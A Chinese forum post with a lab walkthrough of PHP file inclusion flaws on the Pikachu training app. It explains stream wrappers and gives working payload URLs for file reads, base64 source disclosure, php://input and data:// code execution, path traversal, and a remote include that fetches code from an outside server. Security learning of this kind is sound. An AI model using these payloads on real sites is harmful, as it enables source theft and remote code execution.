文件包罗-基于Pikachu的学习

立山  金牌会员 | 2024-5-19 03:42:21 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 913|帖子 913|积分 2739

File_Include(文件包罗)

原理

文件包罗,是一个功能。在各种开发语言中都提供了内置的文件包罗函数,其可以使开发人员在一个代码文件中直接包罗(引入)另外一个代码文件。 好比 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包罗函数,这些函数在代码设计中被经常利用到。大多数情况下,文件包罗函数中包罗的代码文件是固定的,因此也不会出现安全题目。 但是,有些时间,文件包罗的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全思量,则大概会引发文件包罗漏洞。 攻击着会指定一个“意想不到”的文件让包罗函数去实行,从而造成恶意操作。
情况要求
  1. allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
  2. allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件
复制代码
文件包罗常见函数
  1. nclude()
  2. require()
  3. include_once()
  4. require_once()
复制代码
PHP伪协议

CTF中文件包罗漏洞总结-CSDN博客
PHP伪协议总结 - 个人文章 - SegmentFault 思否
file://

用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
好比:
  1. http://www.xxx.com?file=file:///etc/passsword
复制代码
http://

用于访问远程http协议网络路径的文件。
  1. http://www.xxx.com?file=http://127.0.0.1/xxx.php
复制代码
php://

php:// 访问各个输入/输出流(I/O streams),在CTF中经常利用的是php://filter和php://input,php://filter用于读取源码,php://input用于实行php代码

php://filter


php://filter可以获取指定文件源码。当它与包罗函数结合时,php://filter流会被当作php文件实行。所以我们一般对其进行编码,让其不实行。从而导致 任意文件读取。
  1. http://www.xxx.com?file=php://filter/resource=xxx.php
复制代码
可以利用 convert.base64-encode这个过滤器,去将文件里面转成base64去输出
  1. http://www.xxx.com?file=php://filter/read=convert.base64-encode/resource=xxx.php
复制代码
php://input

利用php://input,然后再POST数据,我们所输入的数据会被当作php代码去实行,所以我们可以如许利用
  1. http://www.xxx.com?file=php://input
  2. POST的数据:<?php phpinfo();?>
复制代码
data://

数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包罗函数结合时,用户输入的data://流会被当作php文件实行。
他是以GET传递参数,所以我们可以如许用
  1. http://www.xxx.com?file=data://text/plain,<?php%20phpinfo();?>
  2. 或者是base64编码
  3. http://www.xxx.com?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
复制代码
zip://

zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
Pikachu

本地文件包罗

打开题目,选一个参数,发现url改变,并且是file+数字,于是多试了几次,的确是如许的

当我尝试到file6的时间,发现了好东西

试到file7,出现了报错,路径都被回显出来了:
fi_loal.php去包罗和他同一个路径下include文件夹的文件。
我们就可以根据这个路径,去访问其他地方的文件,这里我在pikachu-matser下已写好文件,我们就访问他,
  1. <?php phpinfo();?> //文件内容
复制代码


然后构造payload:
  1. http://localhost/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../test.txt&submit=%E6%8F%90%E4%BA%A4
复制代码

成功了。
远程文件包罗

随便弄了一个参数,看url有了路径

这边是我云服务器写好了文件,可以直接远程访问
  1. http://localhost/pikachu-master/vul/fileinclude/fi_remote.php?filename=http://8.130.131.63/1.txt&submit=%E6%8F%90%E4%BA%A4
复制代码

成功了!

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

立山

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表